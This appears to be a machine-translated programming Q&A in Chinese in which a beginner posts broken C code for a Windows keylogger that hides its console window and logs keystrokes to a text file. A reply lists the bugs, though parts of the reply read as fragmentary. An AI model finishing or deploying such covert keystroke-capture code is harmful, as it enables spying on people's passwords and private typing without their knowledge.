在学习了C语言的基础知识后,我开始学习一些Win API函数。出于教育目的,我决定尝试制作一个简单的键盘记录器。它所做的就是记录键击并将它们保存到.txt文件中。我在网上看过一些例子,但我想按照我的方式(这更简单)。这是我的代码(我不知道它为什么不起作用)(我还没完成):
#include <stdio.h>
#include <windows.h>
int main( void )
{
short UserInputtedCharacter;
FILE *LogFile = fopen("log.txt", "a");
//Hide console window
HWND HideWindow;
AllocConsole();
HideWindow = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(HideWindow, 0);
while(1)
{
GetAsyncKeyState(UserInputtedCharacter);
switch(UserInputtedCharacter)
{
case VK_SPACE:
fputc(' ', LogFile);
break;
case VK_RETURN:
fputc('\n', LogFile);
break;
case VK_BACK:
fputs("[BACKSPACE]", LogFile);
break;
case VK_DELETE:
fputs("[DEL]", LogFile);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]", LogFile);
break;
case 0x30:
fputc('0', LogFile);
break;
case 0x31:
fputc('1', LogFile);
break;
case 0x32:
fputc('2', LogFile);
break;
case 0x33:
fputc('3', LogFile);
break;
case 0x34:
fputc('4', LogFile);
break;
case 0x35:
fputc('5', LogFile);
break;
case 0x36:
fputc('6', LogFile);
break;
case 0x37:
fputc('7', LogFile);
break;
case 0x38:
fputc('8', LogFile);
break;
case 0x39:
fputc('9', LogFile);
break;
case 0x61:
fputc('a', LogFile);
break;
case 0x62:
fputc('b', LogFile);
break;
case 0x63:
fputc('c', LogFile);
break;
case 0x64:
fputc('d', LogFile);
break;
}
}
fclose(LogFile);
return 0;
}
程序没有将击键保存到.txt文件中。
顺便说一下,程序还远没有完成,我只是想知道它为什么不起作用。
答案 0 :(得分:3)
你必须解决许多问题。
GetAsyncKeyState
不会修改给定的参数。您可以完全按照编写方式删除调用。您的编译器可能会抱怨UserInputtedCharacter
在初始化之前被读取。getc()
或类似内容。当然,没有什么是你无法学到的。但想想从一个更简单的项目开始。连接到互联网并转发StackOverflow主页的自包含应用程序应该具有足够的挑战性。